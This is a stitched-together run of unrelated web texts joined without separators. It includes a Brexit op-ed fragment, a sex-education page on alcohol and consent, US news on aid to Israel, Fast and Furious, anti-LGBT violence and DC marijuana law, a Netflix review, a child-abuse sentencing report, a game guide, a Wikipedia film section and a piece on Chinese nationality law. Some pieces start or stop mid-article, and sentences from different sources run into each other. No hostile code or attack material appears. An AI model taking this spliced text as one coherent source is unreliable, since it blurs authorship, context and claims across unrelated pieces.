Labour should have confidence in making the case against this.
The Tory dilemma is different.
Many in Government know all this. But they feel they're irrevocably bound by the referendum and hemmed in by Party division. So, they want to negotiate an exit from the Single Market with then a re-negotiation which restores its benefits. Or, as some Ministers have apparently said behind closed doors, we want to ‘leave without leaving’.
I understand this as a matter of politics.
But I fear they're trying to negotiate the unnegotiable; and placate the un-placateable.
The Brexit coalition comprised two groups which came together in support of leaving, but which really profoundly disagree with each other.
The intellectual force behind Brexit are the right wing ultra Thatcherites, who believe that out of Europe, Britain can be a free market, freewheeling hub, positioning itself in stark relief to bureaucratic old continental Europe.
They pretend concern over immigration. Really they support a stronger form of globalisation.
But the largest vote was the other group, those who are socially conservative, who fear globalisation, of which immigration is the manifestation.
The danger for the Tories is that if we do the Hard Brexit the Ultra Thatcherites want, the combination of failing public services and a weakened economy could deliver a Corbyn Government.
The danger for Labour is that the Tories decide to go all out on immigration – Hard Brexit so no freedom of movement; big curbs on non EU migration; paint Labour as the ‘Open Borders’ Party; and then turn their fire on Labour’s economic programme which Hard Brexit renders much less credible.
The danger for the country is that it is left with a political choice millions will feel they cannot support and a policy debate completely irrelevant to the real challenges the country faces.
Many MPs across the political spectrum know this.
Brexit is not a decision like any other. It is life changing. Every person involved in the business of politics has a duty at this moment to follow what they believe is right, not what they believe is career enhancing.
At this moment which will define Britain’s future, all our MPs should behave as if they are the leader of our nation, with the responsibility to put country above Party.Booze and Sex
Sometimes drunk sex can be good, but it can also be rubbish, unsafe, unwanted and can lead to mistakes. Learn how to handle it better here.
Booze and sex *can* be good
One of the most important factors in having good sex is to feel relaxed and comfortable. Some people feel more relaxed when they’ve drunk some alcohol. There can be a lot to worry about when we have sex with someone and alcohol can reduce anxiety for some people.
This means that they are less tense about talking about sex. Less anxious about starting to kiss someone. More relaxed about taking their clothes off. Less worried about whether they are going to be any good at it. Less concerned over what it means for them emotionally. Relaxed about the effect it is going to have on their relationship (or their friendship). Sometimes people feel that drink can give them more confidence or courage. Some people also feel really horny when they are a bit drunk.
It’s a fact that for many people having a bit of alcohol can lead to really great sex. However it is also possible to lose your inhibitions without drinking too. Try working on how you feel about yourself and your body. Also practice communicating about sex. Lots of people prefer to keep drinking and sex separate, just because they enjoy them both more that way.
Drunk sex can be rubbish
Many people find that alcohol leads to bad sex, even if it made them really up for it. This is a great example of irony: it can make your brain feel really up for sex, but it has the opposite effect on your body.
It can affect the ability for a penis to stay hard (known as brewer’s droop), it can affect the lubrication of the vagina (not known as brewer’s dryness). It can make it very difficult to reach orgasm for some men and women. It can make some people very tired. It can also make you feel dizzy and a bit sick. All that thrusting and bouncing and rolling around could make someone lose their lunch, or that last packet of crisps.
Drinking can also affect people’s co-ordination. Sex is quite technical. If you can’t co-ordinate your hands, genitals, tongue and lips properly then you aren’t going to be given very many 5* reviews.Also it might mean that your condom skillz aren’t exactly 10 out of 10.
Booze can make sex less safe
People can be more relaxed about not about using condoms. Or forget where they are. Or get carried away and have sex without them. Or try and put them on but, because they are a bit pissed, do it wrong. Or because they are losing their erections they think that the condom is to blame and take it off and continue without. Or because the vagina is getting dry the condom tears or they blame the condom and take it off.
This obviously makes sex much less safe.
Booze can make sex unwanted
Alcohol can affect people’s consciousness: how awake they are. Many many people are sexually assaulted or raped when they are less awake.
This could be because someone has taken advantage of someone not being able to say no or to fight them off. Some people use alcohol to get people drunk so that they can attack them, either through encouraging them to drink, spiking their drink with a stronger drink or with a ‘date rape’ drug such as GHB or Rohypnol which can make people very sleepy indeed. For more visit Rape Crisis here
Someone can also be so pissed that they didn’t properly realise that the other was not saying yes. This does happen. Alcohol can make people seriously confused and can affect people’s judgement about whether people are saying yes or not. The law now says that if someone was really really pissed then the court can rule that it was not possible for them to consent.
Alcohol can also make some people seem really up for it one minute and then really go off the idea the next. Consent, or agreeing to sex has to be a continuous thing. If someone goes off the idea or if they fall asleep, they are no longer consenting and the other person has to stop or it’s rape or sexual assault.
Booze can lead to mistakes
Sometimes with alcohol ‘one thing leads to another’ (though sometimes I think that’s a bit of a weak excuse) and mistakes can happen. For instance breaking the rules of your relationship. Having sex with a friend or with someone else they shouldn’t have – which now makes things complicated. And then, with a hangover, people’s hurt feelings and facebook walls have to be dealt with. Ugh …
But the fact is, booze and sex are very popular and for most of the time it doesn’t cause a problem? Here are some tips on how to avoid these problems:
Know your limits and buddy up
NHS advice is to not binge drink. Roughly this is over 3 pints of strong beer or 2 large glasses of wine. To make drinking safer, take regular breaks, alternate soft drinks with alcoholic drinks, drink at your own speed, know what you are drinking, look after your drinks, have a buddy system (where you have someone looking out for you) and make sure everyone gets home safely. If you’re having a big night try to remember what your personal limits are and make sure everyone else knows.
Think in advance about what you’d regret if you were pissed. Also think about what you should do if you or someone else has had too much.
Your limits and safety
When you’re sober you will have some limits and expectations for yourself about what you will and won’t do sexually. So why should it make a difference when you’re drunk. Be really clear with yourself when sober about what your sex limits are: what you do about your sexual health and the kind of sex that you want to have.
About you and who you want to shag
People use alcohol to feel more comfortable and confident about themselves – but you can do this without booze. You can! Think about your positives, your best bits and think about what you want from a potential sex partner. How would you feel about shagging someone who did or didn’t have those qualities.
Also think about how you can be more confident about having sex with someone without alcohol (or with less alcohol). How can you communicate what you want, how you like to be touched. If you are uncomfortable about your body, you are allowed to leave some clothes on. You can also keep the lights low.
© Justin Hancock 2015AUSTIN, Texas — The announcement of a massive new aid package recently offered to Israel isn’t sitting well with many Americans, who would rather see the money used domestically, according to a new online poll.
On Sept. 14, the White House announced a Memorandum of Understanding under which the United States will provide Israel with an unprecedented $38 billion in “security assistance” over a ten-year period, between fiscal years 2019 and 2028. At about $3.8 billion annually, the deal marks a significant increase from the current levels of foreign aid to Israel, which total more than $3.1 billion each year.
“The majority of the proposed spending is for Foreign Military Financing to provide Israel advanced and upgraded jet fighters, to continue developing Israel’s missile defense systems and to purchase other U.S. weapons,” Grant Smith on Tuesday, director of the Institute For Research: Middle Eastern Policy, wrote in an analysis published by Antiwar.com on Tuesday.
A poll conducted by Google Consumer surveys posed this question about the newly minted deal to 1,005 internet users:
“The U.S. just agreed to provide $38 billion in military aid to Israel over the next ten years. In your opinion, how could this money be better spent?”
Just 16.8 percent of those surveyed thought the money should be spent on Israel. The majority, or about 81 percent, indicated that the money should be redirected elsewhere, with 20.7 percent suggesting directing the funds toward veterans, 20.1 percent toward education, 19.3 toward efforts to pay down the national debt, and 14.9 percent toward rebuilding U.S. infrastructure. A small group, 5.8 percent, wanted to see the funds go toward the Middle East peace process.
Google Consumer Surveys typically appear to website visitors, who are asked to answer a question in order to freely access content behind a paywall or on a website that generally operates on a subscription-only basis. While statisticians consider online polling less effective than more traditional methods, Google’s results rated highly during the 2012 election season.
Regardless of methodology, last week’s poll isn’t the first to suggest Americans are uncomfortable with foreign aid Israel. In April, months prior to the latest deal, another Google Consumer Survey asked respondents to rate the amount of aid Israel receives. In that survey, 62 percent said they believe Israel gets too much aid.
A phone-based poll carried out in May by Shibley Telhami, a nonresident senior fellow at the Brookings Institution, suggested Americans are divided along party lines when it comes to foreign aid to Israel. According to Telhami’s poll, carried out with assistance from pollsters at Nielsen Scarborough, 57 percent of Democrats and 59 percent of independents think Israel gets “too much” or “way too much” aid. Republicans, however, were split more evenly, with 40 percent saying they believe Israel gets “too much” or “way too much” aid and 40 percent believing the country gets “too little” or “way too little.” By contrast, only 5 percent of Democrats and 17 percent of independents agreed that Israel receives “too little” or “way too little” aid.
Meanwhile, Grant Smith, director of the Institute for Research: Middle East Policy, has argued that in asking whether foreign aid to Israel is popular among Americans, polls may be overlooking the more important question of whether it is legal. On Aug. 8, Smith filed a lawsuit alleging that aid to Israel violates two amendments to the 1961 Foreign Assistance Act which forbid the U.S. from providing military aid to clandestine nuclear states.
In the lawsuit, Smith writes:
“This lawsuit is not about foreign policy. It is about the rule of law, presidential power, the structural limits of the U.S. Constitution, and the right of the public to understand the functions of government and informed petition of the government for redress.”A disastrous plan by the Bureau of Alcohol, Tobacco and Firearms to allow guns to "walk" into Mexico wasn't the fault of a few misguided officials, a new investigation from the Justice Department's internal watchdog finds. The gun-walking plan, known as Operation Fast and Furious, compromised the integrity of more than a dozen senior officials and three agencies. Attorney General Eric Holder has been cleared of allegations he knew about Fast and Furious. Many of his subordinates were not so fortunate.
"Our investigation made clear that the failures within ATF, which included a long term strategy in Operation Fast and Furious that was fully supported by the U.S. Attorney's Office, were systemic and not due to the acts of only a few individuals," (.pdf) wrote Inspector General Michael Horowitz. Those conclusions partially vindicate what Holder's defenders have long maintained, that the botched gun-walking operation was isolated to the ATF Phoenix Field Division and then-U.S. attorney for Arizona Dennis Burke. The report also doesn't go as far as Holder's critics would have liked.
Much of the political acrimony over Fast and Furious has revolved around what Holder knew and when about Fast and Furious while serving as the top dog at the Justice Department. But according to the report, Holder only found out about Fast and Furious after it was leaked to the public, the time he's maintained. Meanwhile, the attorney general received reports about Fast and Furious, which the ATF was attempting to use in building cases against the cartels, but was never told about its problems or had the plot – buried within the stacks of reports received by the agency each week – brought to his attention.
The date Holder has said he finally became aware, Jan. 31, 2011, was less than a week after the botched operation became public information, and after the ATF and U.S. Attorney's Office in Phoenix moved to squash the plan. "We found no evidence that Attorney General Holder was informed about Operation Fast and Furious, or learned about the tactics employed by the ATF" before that date, Horowitz writes.
Critics had alleged a cover-up, and Holder was found in contempt of Congress in June for not turning over documents requested by congressional investigators. The House Oversight Committee filed a civil lawsuit against Holder over the contempt charge in August. Though, a lawsuit could take years to work out, and a criminal case against Holder doesn't have much of a chance, considering it's asking Holder to essentially prosecute himself.
A sticking point, though, was whether Holder was informed of the link between the December 2010 shooting of Border Patrol tactical agent Brian Terry in Arizona, and at least one semi-automatic AK-47 rifle linked to the operation discovered at the scene and used by border bandits to kill Terry. According to the report, Holder was not told about the discovery of the operation-linked weapon until after the case went public, though he was told about the shooting within hours after it happened.
On the other hand, there were other senior officials who did know, and didn't tell Holder. The report cited former ATF acting director Kenneth Melson, and William Newell, the head agent in charge the ATF branch in Phoenix. Deputy Assistant Attorney General Jason Weinstein, who resigned Tuesday night, didn't intervene to stop the operation, and never told Holder about it.
"In the course of our review, we identified individuals ranging from line agents and prosecutors in Phoenix and Tucson to senior ATF officials in Washington, D.C., who bore a share of responsibility for A.T.F.'s knowing failure in both these operations to interdict firearms illegally destined for Mexico, and for doing so without adequately taking into account the danger to public safety that flowed from this risky strategy," the report said.
The report issued several recommendations calling on the Justice Department to review that the ATF's "policies on law enforcement operations to ensure that they are in compliance with Department of Justice guidelines and policies." The report also calls on the agencies to figure out how to re-evaluate the way they carry out investigations on gun trafficking. Because, you know, thousands of guns wound up in the hands of the cartels and nearly sacked the Attorney General.'Series Of Unfortunate Events' On Netflix Will Charm And Delight
Enlarge this image toggle caption Joe Lederer/Netflix Joe Lederer/Netflix
I don't want to oversell this new version of A Series of Unfortunate Events, but I don't know how not to. Everything that the movie version got wrong, this TV adaptation gets right. And not just right, but brilliantly.
The difference is as stark, and as significant, as the difference between the movie and TV versions of Buffy the Vampire Slayer -- where the writer of that story, Joss Whedon, took the reins and made a television version much truer to his original vision.
Daniel Handler, who wrote the original series of Lemony Snicket books, has done the same thing here. And he's enlisted, as his key co-conspirators, two pitch-perfect collaborators: Barry Sonnenfeld, of Pushing Daisies and The Addams Family fame, as the director of many of the episodes, and an executive producer. And as another producer, and the show's central star, Neil Patrick Harris.
This new 8-episode Netflix version, which is written by Handler, is inspiringly faithful to the original books, with two episodes devoted to each of the first handful of stories.
The look, which comes from Sonnenfeld, is full-out fairy-tale fright mode — occasionally bright colors against oppressively grey backgrounds, aptly reflecting the mood of the stories.
And these are sad, sad stories indeed. The narrative begins with three children being told their parents have died in a fire that burned down the family home — and goes downhill from there.
These stories are cracklingly intelligent, and delightfully droll, and occasionally, surprisingly, laugh-out-loud funny. They're also so dark, they come with a warning attached — not just at the start, but throughout.
In the books, these warnings are delivered by the alleged author, Lemony Snicket. He delivers the same deadpan warnings in the TV version, too — but for TV, Lemony Snicket appears throughout as a pessimistic, gloom-and-doom on-screen narrator, sort of a modern-day cross between Rod Serling and Eeyore. And he's played by Patrick Warburton, whose delivery is as no-nonsense, and as inexplicably charming, as his disclaimers.
I haven't had this much fun watching TV in quite a while.
Though Lemony urges viewers not to watch A Series of Unfortunate Events, I'm begging you to tune in. I haven't had this much fun watching TV in quite a while.
The three kids playing the unfortunate Baudelaire children, the story's central heroes, are exceptional. Malina Weissman is Violet, the young teenage inventor. Louis Hynes is Klaus, the pre-teen bookworm; and Presley Smith is Sunny, the expressive baby with very sharp teeth.
Their chief nemesis is Count Olaf, an actor and schemer played by Harris, who adopts several guises and plots in hopes of stealing the family fortune the children will eventually inherit.
Different stories and episodes are filled with delightful supporting players and performances. Alfre Woodard, as an easily frightened woman, has her most playful role in decades. Catherine O'Hara, Aasif Mandvi, Joan Cusack and others pop in and out, all having heaps of fun playing outrageous characters.
No one has more fun, though, or is more outrageous, than Harris. He was a wonderfully camp, cartoonish villain back when he played the titular bad guy in Joss Whedon's Dr. Horrible's Sing-Along Blog -- but that was only a warm-up for his evil ways in Unfortunate Events, in which he threatens the children who have been newly placed in his care.
I don't know how old children should be to watch this series — that's a call, parents should make for themselves. But no one is too old.
The tone of this show is utterly charming, and it never falters. It looks great, sounds great, takes maze-like twists and turns and preserves all the quirky things that made the original book series such a treat. Even the long discourses on proper grammar, and the deeply buried clues and puns, are here.
Harris even sings the show's theme song, which changes each week to reflect the updated action but always ends by encouraging viewers to look away. Don't you dare. Or you'll be missing one of the best new TV shows in a long time.Image caption Paedophile Daniel Taylor was described by the judge as "opportunistic and predatory"
A paedophile who police believe is the UK's most prolific collector of child abuse images has been given an indeterminate jail sentence.
Daniel Taylor, 31, of Farnley, Leeds, had more than 300,000 images of abuse and pleaded guilty to 27 offences.
At Bradford Crown Court, he admitted 20 counts of making indecent images, four of taking indecent images and two counts of sexual assault on a baby.
Taylor had a video guide on abusing children and "not leaving a trace".
Judge Rodney Grant said Taylor had been "opportunistic and predatory".
Suspects 'ranked'
The defendant admitted possessing the vast collection of indecent images during the hearing.
Media playback is unsupported on your device Media caption Detective Chief Superintendent Martyn Bates: "It's been extremely disturbing"
Taylor was told he will be put on the sex offenders register for life and will not be released from prison until he was no longer considered a risk to the public.
He was told he would serve a minimum of three years before being considered for parole.
Police in London identified Taylor as being "the single most prolific 'owner' of such images in the UK".
West Yorkshire Police said new file-sharing technology and software from the US had been used to cross-reference a range of data in order to "rank" suspects.
A spokesman said: "Even today, according to this software, he is still listed as number one in the country."
Det Supt Steve Waite, Head of Regional Intelligence at West Yorkshire Police said: "Taylor has highlighted during this case that not everyone who sexually assaults children fits into a stereotypical category.
"He [Taylor] portrayed himself as a caring family man to the outside world but behind closed doors he was something more sinister."Google announced today that mobile users can now create collections when searching for images using Google Image Search.
The feature allows you to “star” an image to save, and then place it in a created folder.
To create a folder, just tap the pencil icon and give it a name.
When you need to review the saved images later, simply click the star icon in the bottom right to pull up your saved files.
The feature is currently available to all iOS and Android users in the US. To use it, you must be logged in to your browser with your Google account.
➤ Easily get back to the images you’ve found on Google [Official Google Search Blog]
Read next: Pixable, the photo app that became a BuzzFeed-like content site, is shutting downElder Scrolls Online Daggerfall Covenant Guides and Information
The Daggerfall Covenant is a very powerful faction which lies in the Western and Northwest sections of Tamriel. The different people from this area were once enemies but due to instability and unforeseen events in Cyrodiil, crucial trade routes leading into the area were severely effected. The cascading hardship brought poverty and suffering to everyone. Emeric will stand against all who brought threat to the region and his allies, Redguards, Orcs and Bretons will stand with him! Emeric was a wise man who is well skilled in battle and diplomacy. A wise leader that many look up to for destroying enemies but leaving some alive, as a warning to all others not to challenge the authority of such a fierce king. He invokes fear into his enemies just to make a statement. With three strong factions by his side, the king has nothing to lose and is determined to restore trade routes and bring prosperity back for his people.
Daggerfall Covenant Races:
Breton – The inhabitants of High Rock once were ruled by High Elf overlords. Elven blood still runs in their veins, which gives Bretons an amazing understanding of magic that distinguishes them from the other human races. Intelligent, passionate and very resourceful, the Bretons are highly talented craftsmen, successful merchants, gallant cavaliers, and imaginative wizards. Skirmishes will sometime break out among themselves but are usually resolved quickly. The very proud Bretons often tell tales of warfare among the kingdoms of High Rock that seem to account for much of their history, but most do love the Eight Divines and always value prosperity over glory.
Breton Racial Skills and Builds
ORC – Most other races in Tamriel often regard the Orcs as heartless beasts, barbarians and ruthless! These tough and noble warriors have an ancient culture forged from continuous warfare in their rugged mountain homelands. Orcs live under a simple code of honor by which the strong survive and the strongest rule. They are, by far, the greatest smiths in Tamriel, their weapons and armor are envied by warriors everywhere. During the Second Empire, when the kingdom of Orsinium was finally granted provincial status, their devotion to the new Daggerfall Covenant was sealed.
Orc Racial Skills and Builds
Redguard – The Redguards of Hammerfell are talented and highly athletic warriors, always ready for a battle. They are a desert people, their ancestors came to Tamriel from the lost continent of Yokuda. Their culture is based on preserving ancient traditions and staying strong within a harsh environment. They prize honor and dignity above all else, they are very cautious and skeptical of all magic. Their capital is the merchant port of Sentinel, but their history is well rooted in the sands of the Alik’r Desert. Redguards endure a sort of rite of passage in their adolescence in the desert of Alik’r as a test of strength, endurance and discipline. Only the fittest survive.
Redguard Racial Skills and Builds
Daggerfall Zones Skyshard location guides and tips:
Alik’r Desert | Bangkorai | Betnikh | Glenumbra | Rivenspire | Stormhaven | Stros M’Kai
Daggerfall Covenant Dungeons:
Aldunz
Aphren’s Tomb
Ash’abah Pass
Ayleid Sanctuary
Bearclaw Mine
Bisnensel
Bonesnap Ruins
Cath Bedraud
Coldrock Diggings
Crestshade Mine
Crosswych Mine
Crypt of the Exiles Cryptwatch Fort
Divad’s Chagrin Mine
Ebon Crypt
Emeric’s Dream
Enduum
Erokii Ruins
Farangel’s Delve
Flyleaf Catacombs
Hildune’s Secret Refuge
Ilessan Tower
Impervious Vault Koeglin Mine
Lost City of the Na-Totambu
Nilata Ruins
Norvulk Ruins
Obsidian Scar
Orc’s Finger Ruins
Pariah Catacombs
Portdun Watch
Razak’s Wheel
Rubble Butte
Salas En
Klathzgar Santaki
Shadowfate Cavern
Silumm
The Mines of Khuras
The Sunken Road
Tomb of Lost Kings
Torog’s Spite
Tribulation Crypt
Troll’s Toothpick
Viridian Watch
Yldzuun
Sandblown Mine
ESO Daggerfall Guides:
You’ll need to complete the quests in Daggerfall to keep leveling fast enough, especially in the Rivenspire, Stormhaven and Bangkorai zones! If you don’t you will find yourself under-leveled and unable to defeat mobs and bosses. For example, once you get into Razak’s Wheel Public Dungeon you will need to be prepared to fight groups of 5 to 6 level 40 mobs at once, then defeat mini boss Rkurdamz! Epic bosses in this and many of the higher level dungeons.
Daggerfall Covenant Lore Facts:
The most complete Daggerfall Leveling Guide is much more than just a ‘guide’, it’s a reliable and very useful resource used by thousands! The amount of good feedback we receive includes descriptions like “vital”, “irreplaceable”, “crucial” and others. With everything you need to complete quests, level, find important and rare items, etc. all together in an easy resource pack!
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Daggerfall Covenant Quests and Levels:
Alik’r Desert Quests: Badwater Mine 31
In Search of the Ash’abah 31
Monkey Magic 31
Seize the Moment 31
The Nature of Fate 31
Ash’abah Rising 32
Lady Laurent’s Favor 32
Lizard Racing 32
Past in Ruins 32
Revered Ancestors 32
Rise of the Dead 32
Risen From the Depths 32
Satak was the First Serpent 32
Tharayya’s Trail 32
The Impervious Vault 32
The Oldest Orc 32
The Scholar of Bergama 32
Trouble at the Rain Catchers 32
Word from the Throne 32
Morwha’s Curse 33
The Initiation 33
The Search is Over 33
Thwarting the Aldmeri Dominion 33
Trouble at Tava’s Blessing 33
Undying Loyalty 33
Warship Designs 33
A Blessing for the Dead 34
A Reckoning with Uwafa 34
Gone Missing 34
Left at the Altar 34
Shiri’s Research 34
Tu’whacca’s Breath 34
Crawling Chaos 35
Master of Leki’s Blade 35
Past Due 35
The Nature of Fate: Part Two 35
The Search for Shiri 35
Tracking the Hand 35
Whose Wedding? 35
Alasan’s Plot 36
Feathered Fiends 36
Honoring the Dishonored 36
March of the Ra Gada 36
Restoring the Ansei Wards 36
Snakes in the Sands 36
Trapped in the Bluffs 36
Trials of the Hero 36
Amputating the Hand 37
Imperial Incursion 37
Kingdom in Mourning 37
Temple’s Treasures 37 Rivenspire Quests: Children of Yokuda 24
Dearly Departed 24
Dream-Walk Into Darkness 24
Shornhelm Divided 24
The Road to Rivenspire 24
Under Siege 24
A Spy in Shornhelm 25
Assassin Hunter 25
Fadeel’s Freedom 25
Favor for the Queen 25
Friend of Trolls 25
The Blood-Cursed Town 25
The Crown of Shornhelm 25
The Sanctifying Flames 25
The Spider’s Cocoon 25 |
that was then portrayed as me being difficult. if being difficult is standing up to being treated like that, i´ll own it. hope let´s break this curse warmth björk
Björk's manager, Derek Birkett, has also accused von Trier's actions in the past, stating:[17]
I have worked with Björk for over 30 years and have never made a single statement or interview regarding our work together. This time is different. I have read the lies written by Lars and his producer Peter about Björk – and feel compelled to speak out and put the record straight. Over the last 30 years the Dancer in the Dark project is the one and only time she has fallen out with a collaborator. This was a result of the directors ongoing, disrespectful verbal and physical abuse which continued after both Björk and myself demanded that he stop behaving this way. Björk completed the film out of respect for the cast and everyone involved. I feel compelled to publicly speak out in fierce support of Björk in regards to her terrible experiences working with Lars Von Trier, and I back what she has said 110%.
Reception [ edit ]
Critical response [ edit ]
Reaction to Dancer in the Dark was polarized. For example, on The Movie Show, Margaret Pomeranz gave it five stars while David Stratton gave it a zero, a score shared only by Geoffrey Wright's Romper Stomper (1992).[18][19] Stratton later described it as his "favourite horror film".[20] Peter Bradshaw of The Guardian said it was "one of the worst films, one of the worst artworks and perhaps one of the worst things in the history of the world."[21] The response is reflected in the film's official website, which posts both positive and negative reviews on its main page.[22] The diverse reviews result in an overall 68% "Fresh" rating on review aggregator website Rotten Tomatoes, with an average rating of 6.7/10, based on 116 reviews. The website's critical consensus reads, "Dancer in Dark can be grim, dull, and difficult to watch, but even so, it has a powerful and moving performance from Björk and is something quite new and visionary."[23] On Metacritic, the film has a weighted average score of 61 out of 100, based on 33 critics, indicating "generally favorable reviews".[24]
The film was praised for its stylistic innovations. Roger Ebert of the Chicago Sun-Times stated: "It smashes down the walls of habit that surround so many movies. It returns to the wellsprings. It is a bold, reckless gesture."[25] Edward Guthmann from the San Francisco Chronicle wrote, "It's great to see a movie so courageous and affecting, so committed to its own differentness."[26] However, criticism was directed at its storyline. Jonathan Foreman of the New York Post described the film as "meretricious fakery" and called it "so unrelenting in its manipulative sentimentality that, if it had been made by an American and shot in a more conventional manner, it would be seen as a bad joke."[27]
In 2016, David Ehrlich ranked Dancer in the Dark as one of the best films of the 21st century, hailing Björk's performance as the "single greatest feat of film acting" since 2000.[28] Björk's performance is also ranked in the "25 Best Performances Not Nominated for an Oscar of the 21st Century" list.[29]
Accolades [ edit ]
Dancer in the Dark premiered at the 2000 Cannes Film Festival and was awarded the Palme d'Or, along with the Best Actress award for Björk.[30] The song "I've Seen It All" was nominated for an Academy Award for Best Original Song, at the performance of which Björk wore her famous swan dress.
Sight & Sound magazine conducts a poll every ten years of the world's finest film directors to find out the Ten Greatest Films of All Time. This poll has been going since 1952, and has become the most recognised poll of its kind in the world.[31] In 2012, Cyrus Frisch voted for Dancer in the Dark. Frisch commented: "A superbly imaginative film that leaves conformity in shambles."[32]
References in other media [ edit ]
References [ edit ]
Bibliography [ edit ]2016 was the deadliest year on record for the LGBT community, according to a new report from the National Coalition of Anti-Violence Programs.
And even setting aside the 49 victims of the Pulse nightclub massacre last June, the NCAVP still tracked a 17 percent increase in anti-LGBT homicides from 2015 to 2016.
“The enormous tragedy at Pulse Nightclub, in concert with the daily violence and discrimination that pervades our lives as LGBTQ people, and an incendiary political climate, have created a perfect storm of fear and trauma for our communities this year,” said Melissa Brown at the Kansas City Anti-Violence Project in a press release accompanying the report, released Monday on the one-year anniversary of the Orlando mass shooting.
Between the largely Latino victims of the Pulse shooting and the transgender women of color who were murdered last year, the NCAVP report shows that LGBT people of color continue to bear the brunt of homophobic and transphobic violence in the United States.
“We must work to dismantle the biases, such as transphobia, biphobia, homophobia and racism, which undergird all of this violence,” Brown added.
Including the victims of the Pulse shooting, the NCAVP counted 77 anti-LGBT homicides in 2016. But because the sexual and gender identities of many of the Pulse victims could not be confirmed, the anti-violence organization also tallied 28 individual anti-LGBT homicides throughout the year, up from 24 in 2015. This latter group of victims were largely transgender, 64 percent black, and over half were younger than 35.
“In general, I can say that in the past five to seven years, homicide rates have been high or up and appear to be staying up,” Sue Yacka, communications director for the New York City Anti-Violence Project, told The Daily Beast when asked how this homicide data compared to previous years. “There are many reasons for this, including a likely actual increase, better reporting by media, and better data collection by organizations like ours.”
The stories of the victims, included in brief at the end of the report, are heartbreaking: Maurice Jones, a 44-year-old black cisgender man living in Queens, was “strangled to death” last September and “left in a burning car.” Thirty-two-year old transgender woman Brandi Bledsoe was fatally shot in her Cleveland, Ohio, driveway last October. Erykah Tijerina, a Latina transgender woman, was fatally stabbed in her El Paso apartment in August.
Many of these victims were misgendered by local media after their deaths, making it difficult for advocates to track the violent killings of transgender and gender non-conforming people.
The NCAVP also tracked over 1,000 reported incidents of non-fatal anti-LGBT hate violence—such as sexual violence, physical violence, stalking, bullying, and verbal harassment—through partner organizations nationwide.
Most of this violence, the report notes, came from “someone who was known to [the survivor]” including “landlords, neighbors, employers, and family members.” Over 40 percent of this group of survivors identified as gay and over 40 percent were cisgender.
Anti-LGBT violence shows no signs of stopping in 2017. In the first 60 days of the new year, as The Daily Beast previously reported, there were already seven reported killings of transgender women, placing the year on track to be the most violent on record for the U.S. transgender community. Now in June, the Human Rights Campaign has tracked at least 12 reported killings of transgender people this year.
But even as this reported physical violence escalates, LGBT people remain in a precarious political position both federally, and at the state level. LGBT anti-violence advocates see these two trends as linked.
“Recent executive orders as well as ongoing efforts to pass anti-LGBTQ legislation and roll back protections at the city, state, and federal level make LGBTQ people vulnerable to identity-based discrimination as we go about our daily lives,” said Beverly Tillery at the New York City Anti-Violence Project.
The NCAVP report paints a clear increase in anti-LGBT bills over the last three years: 125 introduced in 32 state legislatures in 2015, 156 introduced in 32 states in 2016, and 100 in 29 states in 2017 so far.
Most memorably in 2016, North Carolina passed the anti-transgender “bathroom bill” HB2—a move the Texas state legislature may imitate during a special session this summer.
Rather than continuing the Obama administration’s moves to protect transgender Americans, the Trump administration has withdrawn legal defenses of transgender rights, rescinded federal guidance protecting transgender students’ restroom rights, and effectively sent transgender teenager Gavin Grimm’s potentially precedent-setting case back down to the 4th Circuit from the Supreme Court.
All the while, only 16 states and D.C. have hate crime legislation that specifically protects people based on sexual orientation and gender identity, according to data from the Human Rights Campaign.
For those reasons, Tillery believes that the best way to mitigate anti-LGBT violence going forward might be to stop the LGBT laws in state legislatures nationwide.
“These attacks on our communities send the message that discrimination and violence against LGBTQ people is acceptable,” she said. “Every one of us must call out and resist religious exemption and anti-LGBTQ public accommodation bills for the hateful legislation that they are, and advocate for increased protections for LGBTQ communities on the state and federal level.”The nation’s capital just got a step closer to loosening its marijuana laws.
Under the current law, someone caught with a joint in Washington, D.C., can be arrested and jailed for six months. But on Tuesday, the District council voted overwhelmingly for a bill that would eliminate criminal penalties for possessing a small amount of the drug.
If Mayor Vincent Gray and Congress both support the bill, as expected, individuals stopped with an ounce or less of marijuana would face a $25 fine at most. People caught smoking in public would still be subject to arrest.
For years, pot advocates have criticized the District's marijuana restrictions for disproportionately targeting its black community, despite evidence (including government surveys) showing that blacks are no more likely than whites to use the drug. According to the Washington Lawyers' Committee, arrest statistics from 2009 through 2011 revealed that 9 out of 10 people arrested for drugs in Washington were black, though blacks make up slightly more than half of the city’s population.
“Black men shouldn’t have to fear being searched just for walking down the street,” said Bill Piper, director of national affairs for the Drug Policy Alliance, a D.C.-based group that supports the bill. “And they shouldn’t face arrest or a heavy fine for doing something that affluent whites get away with every day.”
The marijuana reform movement in the District has followed a long and twisting path. In 1998, nearly 70 percent of Washington voters supported a medical marijuana measure, but Congress, which controls District funding, quickly shut down the program.
Nearly a decade of court battles followed, and Congress finally lifted the ban in 2009. But the District’s first medical marijuana dispensary opened just last year.
Even if the bill passes, the Capitol Police, FBI and DEA could still technically arrest people on marijuana charges under federal law. But the federal government isn’t expected to defy local lawmakers. U.S. Attorney for D.C. Ron Machen said in November that he saw "a lot of problems with trying to decriminalize marijuana possession," but his office hasn't commented on the legislation since.
At the council meeting Tuesday, Democrat Tommy Wells, one of eight council members who introduced the bill last July, noted that marijuana arrests can make it harder for people to get jobs, keep housing and get access to education grants.
Yvette Alexander, a Democrat and the only council member who voted against the bill, said she had "a lot of concerns" about the legislation. "We're sending a message," she said, "that it's okay to smoke."
Assuming the bill makes its way past the mayor’s desk, its next stop would be the Capitol. Congress could effectively prevent the bill from becoming law, but advocates say that’s unlikely.
“This bill still keeps marijuana illegal, and just replaces an arrest and jail time with a fine,” Piper noted. “We don’t expect members of Congress to care that much.”Beijing seeks loyalty from ethnic Chinese with foreign passports
After the disappearance last December of Hong Kong bookseller Lee Bo, Britain’s foreign secretary, Philip Hammond, asked Beijing for information on his whereabouts, pointing out that the 65-year-old was a British national.
China’s foreign minister, Wang Yi, responded that Lee was “first and foremost a Chinese”.
Subsequently, Lee appeared on television and said that he wanted to give up his British citizenship.
Similarly, Gui Minhai, Lee’s colleague in the bookselling business, a Swedish national who mysteriously disappeared while in Thailand, popped up on Chinese television and asked the Swedish government not to help him – certainly an odd thing to say for someone who was clearly in deep trouble with the Chinese government.
Those cases illustrate a change made 20 years ago in China’s nationality law, a change not widely appreciated in foreign capitals or even in Hong Kong itself.
What China did in 1996 was to change the nationality law so that it meant one thing in the mainland and a different thing entirely in Hong Kong.
Thus, Article 9 of the nationality law says: “Any Chinese national who has settled abroad and who has been naturalized as a foreign national or has acquired foreign nationality of his own free will shall automatically lose Chinese nationality.”
